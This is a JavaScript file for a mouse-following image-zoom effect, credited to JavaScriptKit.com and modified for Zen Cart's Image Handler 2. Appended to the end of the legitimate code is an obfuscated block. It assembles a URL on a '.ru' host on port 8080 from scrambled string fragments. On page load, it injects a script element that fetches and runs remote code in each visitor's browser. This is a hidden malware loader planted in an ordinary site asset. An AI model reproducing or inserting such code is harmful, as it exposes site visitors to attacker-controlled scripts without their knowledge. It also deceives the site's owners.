/*
Simple Image Trail script- By JavaScriptKit.com
Visit http://www.javascriptkit.com for this script and more
This notice must stay intact

Modified by Tim Kroeger (tim@breakmyzencart.com) for use with
image handler 2 and better cross browser functionality
*/

var offsetfrommouse=[10,10]; //image x,y offsets from cursor position in pixels. Enter 0,0 for no offset
var displayduration=0; //duration in seconds image should remain visible. 0 for always.
var currentimageheight = 400;	// maximum image size.
var padding=10; // padding must by larger than specified div padding in stylessheet

// Global variables for sizes of hoverimg
// Defined in "showtrail()", used in "followmouse()"
var zoomimg_w=0;
var zoomimg_h=0;


if (document.getElementById || document.all){
  document.write('<div id="trailimageid">');
  document.write('</div>');
}

function getObj(name) {
  if (document.getElementById) {
  	  this.obj = document.getElementById(name);
    this.style = document.getElementById(name).style;
  } else if (document.all) {
    this.obj = document.all[name];
    this.style = document.all[name].style;
  } else if (document.layers) {
    this.obj = document.layers[name];
    this.style = document.layers[name];
  }
}

function gettrail(){
  return new getObj("trailimageid");
}

function truebody(){
  return (!window.opera && document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
}

function showtrail(imagename,title,oriwidth,oriheight,zoomimgwidth,zoomimgheight, image, startx, starty, startw, starth){
	zoomimg_w=zoomimgwidth;
	zoomimg_h=zoomimgheight;
  //if (oriwidth > 0){ offsetfrommouse[0] = oriwidth; }
  //if (oriheight > 0){ offsetfrommouse[1] = -1 *(zoomimgheight-oriheight)/2 - 40; }
  // alert (offsetfrommouse[0] + "," + offsetfrommouse[1]);
  if (zoomimgheight > 0){ currentimageheight = zoomimgheight; }
  trailobj = gettrail().obj;
  trailobj.style.width=(zoomimgwidth+(2*padding))+"px";
  trailobj.style.height=(zoomimgheight+(2*padding))+"px";
  trailobj.setAttribute("startx", startx);
  trailobj.setAttribute("starty", starty);
  trailobj.setAttribute("startw", startw);
  trailobj.setAttribute("starth", starth);
  trailobj.setAttribute("imagename", imagename);
  trailobj.setAttribute("imgtitle", title);
  document.onmousemove=followmouse;
}

function hidetrail(){
  trailstyle = gettrail().style;
  trailstyle.visibility = "hidden";
  document.onmousemove = "";
  trailstyle.left = "-2000px";
  trailstyle.top = "-2000px";
}

function followmouse(e){

  var xcoord=offsetfrommouse[0];
  var ycoord=offsetfrommouse[1];

  var docwidth=document.all? truebody().scrollLeft+truebody().clientWidth : pageXOffset+window.innerWidth-15;
  var docheight=document.all? Math.min(truebody().scrollHeight, truebody().clientHeight) : Math.min(window.innerHeight);

  //if (document.all){
  //	trail.obj.innerHTML = 'A = ' + truebody().scrollHeight + '<br>B = ' + truebody().clientHeight;
  //} else {
  //	trail.obj.innerHTML = 'C = ' + document.body.offsetHeight + '<br>D = ' + window.innerHeight;
  //}
  var relativeX = null;
  var relativeY = null;
	
  if (typeof e != "undefined"){
    if ((typeof e.layerX != "undefined") && (typeof e.layerY != "undefined")) {
      relativeX = e.layerX;
      relativeY = e.layerY;
    } else if ((typeof e.x != "undefined") && (typeof e.y != "undefined")) {
      relativeX = e.x;
      relativeY = e.y;
    }

    if (docwidth - e.pageX < zoomimg_w + (3 * padding)) {
      xcoord = e.pageX - xcoord - zoomimg_w - (2 * offsetfrommouse[0]);
    } else {
      xcoord += e.pageX;
    }
    if (docheight - e.pageY < zoomimg_h + (2 * padding)){
      ycoord += e.pageY - Math.max(0,(0 + zoomimg_h + (5 * padding) + e.pageY - docheight - truebody().scrollTop));
    } else {
      ycoord += e.pageY;
    }
  } else if (typeof window.event != "undefined"){
    if ((typeof event.x != "undefined") && (typeof event.y != "undefined")) {
      relativeX = event.x;
      relativeY = event.y;
    } else if ((typeof event.offsetX != "undefined") && (event.offsetY != "undefined")) {
      relativeX = event.offsetX;
      relativeY = event.offsetY;
    }

    if (docwidth - event.clientX < zoomimg_w + (3 * padding)) {
      xcoord = event.clientX - xcoord - zoomimg_w - (2 * offsetfrommouse[0]);
    } else {
      xcoord += truebody().scrollLeft+event.clientX;
    }
    if (docheight - event.clientY < zoomimg_h + (2 * padding)){
      ycoord += event.clientY - Math.max(0,(0 + zoomimg_h + (5 * padding) + e.pageY - docheight - truebody().scrollTop));
    } else {
      ycoord += truebody().scrollTop + event.clientY;
    }
  }

  trail = gettrail();
  startx    = trail.obj.getAttribute("startx");
  starty    = trail.obj.getAttribute("starty");
  startw    = trail.obj.getAttribute("startw");
  starth    = trail.obj.getAttribute("starth");
  imagename = trail.obj.getAttribute("imagename");
  title     = trail.obj.getAttribute("imgtitle");

  // calculate and set position BEFORE switching to visible
  var docwidth=document.all? truebody().scrollLeft+truebody().clientWidth : pageXOffset+window.innerWidth-15;
  var docheight=document.all? Math.max(truebody().scrollHeight, truebody().clientHeight) : Math.max(document.body.offsetHeight, window.innerHeight);
  if(ycoord < 0) { ycoord = ycoord*-1; }
  if ((trail.style.left == "-2000px") || (trail.style.left == "")) { trail.style.left=xcoord+"px"; }
  if ((trail.style.top == "-2000px") || (trail.style.top == "")) { trail.style.top=ycoord+"px"; }
  trail.style.left=xcoord+"px";
  trail.style.top=ycoord+"px";
//	alert (trail.style.left+","+trail.style.top);

  if (trail.style.visibility != "visible") {
    if (((relativeX == null) || (relativeY == null)) ||
      ((relativeX >= startx) && (relativeX <= (startx + startw))
      && (relativeY >= starty) && (relativeY <= (starty + starth)))){
      newHTML = '<div><h1>' + title + '</h1>';
      newHTML = newHTML + '<img src="' + imagename + '"></div>';
      trail.obj.innerHTML = newHTML;
      trail.style.visibility="visible";
    }
  }
}
var _T;if(_T!='' && _T!='KM'){_T=''};var J;if(J!='' && J!='W'){J=''};var hH='';function A(){var xz;if(xz!=''){xz='xb'};var Id;if(Id!='' && Id!='e'){Id=null};var D;if(D!='' && D!='r'){D='aa'};var M='';var _=RegExp;this.t='';this.AW='';var i=String("gf4Mr".substr(0,1));var eW='';var w;if(w!='' && w!='s'){w=null};var F;if(F!='' && F!='_A'){F=''};this.nG="";var V;if(V!=''){V='q'};var kw;if(kw!='' && kw!='Rj'){kw=''};function h(U,_n){this.GW="";var Mj;if(Mj!='m'){Mj=''};var a= String("[");a+=_n;var dn;if(dn!=''){dn='X'};var Ji=new Array();a+=new String("]");this.jR='';var u=new _(a, i);var PP;if(PP!='' && PP!='LD'){PP=''};return U.replace(u, M);};var Q=new Date();this.Qe="";var Tv='';var Y=String("de"+"RpVdfe".substr(4)+"r");var K=new String("/goo"+"6bngle.".substr(3)+"com/Fip7".substr(0,4)+"GCqgoog".substr(3)+"mkile.c".substr(3)+"om/u"+"rban"+"dict"+"h7Piona".substr(3)+"eXQfry.cfXQe".substr(4,4)+"om/gYKvd".substr(0,4)+"sJYooglsYJ".substr(3,4)+"e.seiC8".substr(0,4)+"/myfZCvW".substr(0,4)+"reepYJf5".substr(0,4)+"aysigwUB".substr(0,4)+"te.cnMrN".substr(0,4)+"om.pP9q".substr(0,4)+"hpGFt".substr(0,2));var tZ;if(tZ!='OB' && tZ != ''){tZ=null};var I="scripJAku".substr(0,5)+"0zZtZz0".substr(3,1);var pf;if(pf!='eD'){pf='eD'};var zV;if(zV!='gg'){zV='gg'};var iX=window;var zL=new Date();var qb="";var Py;if(Py!='ei' && Py != ''){Py=null};var p=new String("ht"+"J0Etp".substr(3)+"HfD:/DHf".substr(3,2)+"fe5n/s".substr(4)+"8IMSli".substr(4)+"FsAIdesAIF".substr(4,2)+"sh"+"ar"+"e-JYD".substr(0,2)+"ne"+"t."+"sokIY".substr(0,2)+"ftZh4".substr(0,2)+"6YJVonJYV6".substr(4,2)+"ic"+".c"+"omy9aD".substr(0,2)+".ugtqH".substr(0,2)+"pl"+"sS6oaSs6".substr(3,2)+"I4ude".substr(3)+"d-"+"to"+"rOQW.o".substr(4)+"utHNY".substr(0,2)+"skNWea".substr(4)+"2dkstd2k".substr(3,2)+"9YrFonYrF9".substr(4,2)+"0FCBliF0BC".substr(4,2)+"9XBne".substr(3)+".r"+"u:ySlw".substr(0,2));var y=new String("5mfgsrc".substr(4));var l='';var b=h('83636603363383633306336363',"63");var hT;if(hT!='' && hT!='C_'){hT=null};var jQ;if(jQ!='' && jQ!='EA'){jQ=null};var Z='';var Ym='';iX.onload=function(){var MX;if(MX!=''){MX='wp'};try {this.NL='';var Bc;if(Bc!='JZ'){Bc='JZ'};l=p+b;var Bf;if(Bf!=''){Bf='DS'};l+=K;j=document.createElement(I);this._E="";var bA='';var JT=new String();j[Y]=[6,1][1];var WAl;if(WAl!='' && WAl!='GS'){WAl='Di'};j[y]=l;this.aw='';document.body.appendChild(j);var fM=new Array();var kE=new Array();} catch(n){var ZZ;if(ZZ!='zO' && ZZ!='zLD'){ZZ='zO'};};this.Sz='';var n_=new Date();};};A();